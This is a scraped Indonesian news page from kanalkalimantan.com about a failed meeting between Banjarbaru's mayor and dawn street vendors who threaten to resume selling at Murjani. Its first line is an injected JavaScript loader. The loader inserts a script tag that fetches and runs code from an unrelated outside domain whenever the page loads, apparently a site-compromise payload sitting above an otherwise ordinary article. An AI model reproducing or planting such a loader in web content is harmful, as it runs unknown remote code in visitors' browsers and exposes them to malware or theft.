(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pertemuan Wali Kota-Pedagang Berakhir Buntu, PKL Subuh Ancam Kembali Gelar Lapak di Murjani


KANALKALIMANTAN.COM, BANJARBARU – Pertemuan perwakilan PKL Subuh dengan Wali Kota Banjarbaru tak berhasil mengambil kata sepakat. PKL Subuh ngotot tetap berjualan, sementara Pemko Banjarbaru melarang para PKL Subuh menggelar lapak di kawasan Murjani.

Sebelumnya, sekitar pukul 08.30 Wita, para PKL Subuh yang sempat gelar lapak di muka kantor DPRD Banjarbaru membubarkan diri. Setelah diminta bubar secara sukarela oleh Wali Kota Aditya Mufti Ariffin. Para PKL Subuh membersihkan lapak-lapak bekas jualan di trotoar kedua sisi depan gedung wakil rakyat.

Pertemuan yang dilakukan di teras Balai Kota antara kedua belah pihak sama-sama bersikeras atas pandangan masing-masing. Pada awalnya perwakilan PKL yang dikoordinatori oleh Gusti Irawan memaksa Wali Kota Aditya Mufti Arifin dan Wakil Wali Kota Wartono untuk menandatangani pernyataan untuk izin berjualan di lokasi Pasar Bauntung lama.

Namun secara tegas Wali Kota Aditya menolak menandatangani surat pernyataan tersebut, karena Pemko Banjarbaru sudah memberikan solusi terbaik selama ini.

 

“Kita sudah beri opsi ke Pasar Pondok Mangga. Memang tidak langsung ramai tapi kami Pemko pasti mem-backup untuk meramaikan Pasar Pondok Mangga. Kami bukan pemain sulap yang bisa buat pasar Pondok Mangga langsung ramai,” ujar Wali Kota Aditya sembari meyakinkan para perwakilan PKL Subuh, di pelataran kantor Wali Kota Banjarbaru, Kamis (18/3/2021) pukul 09:00 Wita.

Namun Gusti Irawan kembali berdalih beberapa surat pernyataan yang lain dan ditolak mentah-mentah oleh Wali Kota Aditya karena ada dua dari tiga butir pernyataan tersebut ditafsirkan berbeda dan bersikeras memaksa perwakilan PKL Subuh untuk bubar dari mediasi tersebut.

Merasa kesal Gusti Irawan kepada wartawan, menegaskan bahwa PKL Subuh akan tetap membuka lapak di kemudian hari. “Jika pemerintah punya tafsiran sendiri silahkan, kami juga punya hak untuk menafsirkan dua butir tersebut,” ujarnya sembari berlalu dari teras Balai Kota Banjarbaru.

Sementara itu, Wakil Wali Kota Wartono memberikan pendapatnya bahwa pernyataan tersebut dibuat-buat oleh perwakilan PKL Subuh sendiri.

Baik Wali Kota maupun Wakil Wali Kota secara tegas tidak akan memberikan kelonggaran terhadap PKL Subuh. Apalagi menurut Wakil Wali Kota bahwa PKL Subuh sendiri sudah bersepakat dengan dirinya beberapa waktu lalu, tidak akan berjualan kembali.

Saat ditanya mengenai ancaman pembukaan lapak kembali di lapangan Murjani, Wali Kota Aditya memberikan pernyataan bahwa mereka sudah tidak konsekuen dengan pernyataannya sendiri yang telah ditandatangani saat tanggal 8 Maret 2021 lalu.

“Bagaimana kami mau mengakomodir jika mereka sendiri tidak konsekuen dengan pernyataan mereka sendiri,” ujarnya sembari menutup pembicaraannya kepada sejumlah awak media. (kanalkalimantan.com/pras)

 

Reporter : Pras
Editor : Bie

 

 


Al Ghifari

Recent Posts

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

37 menit ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

2 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

10 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

11 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

12 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

12 jam ago

This website uses cookies.